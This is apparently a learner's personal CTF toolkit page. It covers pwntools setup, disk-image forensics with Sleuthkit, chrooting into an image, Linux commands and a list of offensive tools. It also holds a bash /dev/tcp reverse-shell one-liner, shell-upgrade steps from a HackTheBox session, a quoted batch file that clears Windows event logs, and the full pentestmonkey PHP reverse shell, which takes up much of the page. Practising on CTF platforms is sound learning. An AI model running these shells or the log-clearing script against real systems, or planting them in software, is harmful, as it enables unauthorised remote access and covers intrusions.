ctf toolkit

Links to things that i learned these things from

https://www.hackthebox.com/

https://primer.picoctf.org/

https://docs.pwntools.com/en/stable/

ToolKit Preface

This exists to go back and look at the tools i have learned how to use so i may eventuially look back and remember things i have done, or help me in the future

thank you jackrhysider for all the podcasts on things related to the field i want to enter! Especially for introducing me to picoCTF.org

picoCTF toolkit

Tools in picoCTF

1. catagory
    1. tool
        1. format
            1. link(s)
            2. if anything below format is empty / incomplete its probs coz i havent used it enough or forgot about how to use it when i wrote this, and or its self explanitory
                1. description if applicable
                    1. sub notes
                        1. end with a RTFM for any more info coz if you need any more info it could be outdated this is just to quick remember things exist / how to download it
2. General Exploit tools
    1. pwntools
        1. Python, CLI
            1. https://docs.pwntools.com/en/stable/
                1. pwntools is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible.
                    1. if you do `import pwn` or `from pwn import *`, you will have access to everything you need to write an exploit.
                    2. Pwntools is best supported on 64-bit Ubuntu LTS releases (14.04, 16.04, 18.04, and 20.04). Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.). so get ready to use wsl or a linux machine :D
                    1. if you must use python 2 u need a specific version of pip

```
$ apt-get update
$ apt-get install python python-pip python-dev git libssl-dev
libffi-dev build-essential
$ python2 -m pip install --upgrade pip==20.3.4
$ python2 -m pip install --upgrade pwntools
```

                    2. otherwise python 3 works as normal

```
$ apt-get update
$ apt-get install python3 python3-pip python3-dev git libssl-dev
```

```
libffi-dev build-essential
$ python3 -m pip install --upgrade pip
$ python3 -m pip install --upgrade pwntools
```

3. When installed with `sudo` the above commands will install Pwntools' command-line tools to somewhere like `/usr/bin`. An error will occur, so add `~/.local/bin` to your `$PATH` environment variable.

3. heres a link to the tutuorial

   https://docs.pwntools.com/en/stable/intro.html#tutorials

3. Disk Analasys
   1. Autopsy
      1. GUI
         1.
   2. Sleuthkit
      1. CLI
   3. fls
      1. cli
         1.
```
$ fls -o 360448 disk.flag.img 3981
r/r * 2082(realloc):    flag.txt
r/r 2371:       flag.uni.txt
```

   4. icat
      1. cli
         1. read sector data
            1.
```
$ icat -o 360448 disk.flag.img 2371
picoCTF{flag_you_arnt_allowed_to_get_for_free}
```

   5. Gunzip
      1. CLI
         1. man gunzip
         2. works on .gz files
         3. using ```gunzip disk.flag.img.gz``` basically spits out the copressed file then deletes file from the few times ive used it but idk
   6. Dump the partition table of the disk image. We want to find the offset to the main partition:

```
$ mmls disk.flag.img

DOS Partition Table
Offset Sector: 0
```

```
Units are in 512-byte sectors

     Slot     Start       End         Length      Description
000:  Meta     0000000000  0000000000  0000000001  Primary Table (#0)
001:  -------  0000000000  0000002047  0000002048  Unallocated
002:  000:000  0000002048  0000206847  0000204800  Linux (0x83)
003:  000:001  0000206848  0000360447  0000153600  Linux Swap / Solaris x86 (0x82)
004:  000:002  0000360448  0000614399  0000253952  Linux (0x83)
```

4. Packet Sniffer?
    1. wireshark
        1. gui
    2. tshark
        1. cli
5. files?
    1. find
        1. cli
            1. ```
               find / -type f -name "*flag*" -print
               ```
6. general linux commands that i keep forgetting
    1. uname -a
        1. general system informatiojn
    2. lshw
        1. hardware info
    3. lscpu
        1. cpu info
    4. free -m
        1. memory info
    5. df -h
        1. disk usage
    6. lsusb
        1. usb devices
    7. ip addr
        1. network config
    8. ifconfig
        1. other network config
    9. htop
        1. cli task manager
    10. ps aux
        1. lists pid/tasks
    11. lshw
        1. ???
               ```

chroot to other linux drive from img

┌──(root NaruZKurai)-[~]
└─# mmls flag_drive.img

```
mmls flag_drive.img
```

```
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

     Slot    Start        End          Length       Description
000:  Meta    0000000000   0000000000   0000000001   Primary Table (#0)
001:  -------   0000000000   0000002047   0000002048   Unallocated
002:  000:000   0000002048   0000206847   0000204800   Linux (0x83)
003:  000:001   0000206848   0000411647   0000204800   Linux Swap / Solaris x86 (0x82)
004:  000:002   0000411648   0000819199   0000407552   Linux (0x83)
```

┌──(root NaruZKurai)-[~]
└─#

```
sudo mkdir /mnt/flag_drive
```

```
sudo mount -o loop,offset=$((2048*512)) flag_drive.img /mnt/flag_drive #Linux (0x83) is after offset 2047 *512 bytes  so 2048
```

```
sudo mount -t proc /proc /mnt/flag_drive/proc
```

```
sudo mount -o bind /sys /mnt/flag_drive/sys
```

```
sudo mount -o bind /dev /mnt/flag_drive/dev
```

```
sudo chroot /mnt/flag_drive #possibly need to add /bin/bash or /bin/sh or depending on the operating system fish or ash or whatever else that system uses. look in /bin/ to see what shell it uses
```

#and just coz im hella forgetfull

```
find / -type f -name "*words*" 2>/dev/null
```

#im serious super forgetfull

```
grep -R "picoCTF{" / 2>/dev/null
```

command tricks

powershell

- icacls ./file
  - PS C:\Log-Management> icacls .\job.bat
    .\job.bat BUILTIN\Users:(F)
    NT AUTHORITY\SYSTEM:(I)(F)
    BUILTIN\Administrators:(I)(F)
    BUILTIN\Users:(I)(RX)
    Successfully processed 1 files; Failed processing 0 files
- type .\file
  - PS C:\Log-Management> type .\job.bat
    @echo off
    FOR /F "tokens=1,2*" %%V IN ('bcdedit') DO SET adminTest=%%V
    IF (%adminTest%)==(Access) goto noAdmin
    for /F "tokens=*" %%G in ('wevtutil.exe el') DO (call :do_clear "%%G")
    echo.
    echo Event Logs have been cleared!
    goto theEnd
    :do_clear
    wevtutil.exe cl %1
    goto :eof
    :noAdmin
    echo You must run this script as an Administrator!
    :theEnd
    exit
- Get-ChildItem -Path C:\ -Filter Log-Management -Recurse -ErrorAction SilentlyContinue -Force
  - it finds a file from a path
- a

a
something is wrong with this version of the editor as of writing, so it will be messy / full of copy/paste. idk how to raw html encode some of this

cmd

- n
- a
- a

shell

- n
- a
- a

tools

grep "word" ./file.extension

/hping 3

wireshark

nmap

dragon os (debian based radio hacking tuned os)

shodan

metasploit

- msfconsole
  - search type:exploit platfrom:windows eternal blue
- msfvenom
- snort

aircrackng

ghidra

hackrf1 (a pyhysical tool, costs alot, but whats imortant is Deagonos is a distro focused on radio hacking)

tac = cat but backwords, like it prints the rows backwards

feroxbuster -u url.extension (basically gobuster but diff)

cybercheff -> https://gchq.github.io/CyberChef/

how to add terminal functionality to nc rev shell

```
www-data@2million:~/html$
^Z
zsh: suspended  nc -lvnp 9001

┌──(kali kali)-[~]
└─$
stty raw -echo;fg

[1]  + continued  nc -lvnp 9001

www-data@2million:~/html$ whoami
www-data
www-data@2million:~/html$ ls
.env          VPN/          css/          index.php
Database.php  assets/       fonts/        js/
Router.php    controllers/  images/       views/
www-data@2million:~/html$

export TERM=xterm
```

non nc rev shell command

```
bash -c 'bash -i >& /dev/tcp/10.10.16.20/9001 0>&1'
```

https://overthewire.org/wargames/

https://ctftime.org/

https://github.com/The-Z-Labs/linux-exploit-suggester

https://www.tutorialspoint.com/What-is-the-difference-between-session-and-cookies#:~:text=Cookies%20are%20client%2Dside%20files,files%20that%20store%20user%20information.&text=Cookies%20expire%20after%20the%20user,logs%20out%20of%20the%20program.

literally a php reverse shell

```
<?php

// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 17355;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//
```

```
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();

    if ($pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }

    if ($pid) {
        exit(0);  // Parent exits
    }

    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");
        exit(1);
    }

    $daemon = 1;
} else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
```

```
    printit("$errstr ($errno)");
    exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
        printit("ERROR: Shell connection terminated");
        break;
    }

    // Check for end of STDOUT
    if (feof($pipes[1])) {
        printit("ERROR: Shell process terminated");
        break;
    }
```

```
    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
        if ($debug) printit("SOCK READ");
        $input = fread($sock, $chunk_size);
        if ($debug) printit("SOCK: $input");
        fwrite($pipes[0], $input);
    }

    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array($pipes[1], $read_a)) {
        if ($debug) printit("STDOUT READ");
        $input = fread($pipes[1], $chunk_size);
        if ($debug) printit("STDOUT: $input");
        fwrite($sock, $input);
    }

    // If we can read from the process's STDERR
    // send data down tcp connection
    if (in_array($pipes[2], $read_a)) {
        if ($debug) printit("STDERR READ");
        $input = fread($pipes[2], $chunk_size);
        if ($debug) printit("STDERR: $input");
        fwrite($sock, $input);
    }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
```

```
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
    if (!$daemon) {
        print "$string\n";
    }
}

?>
```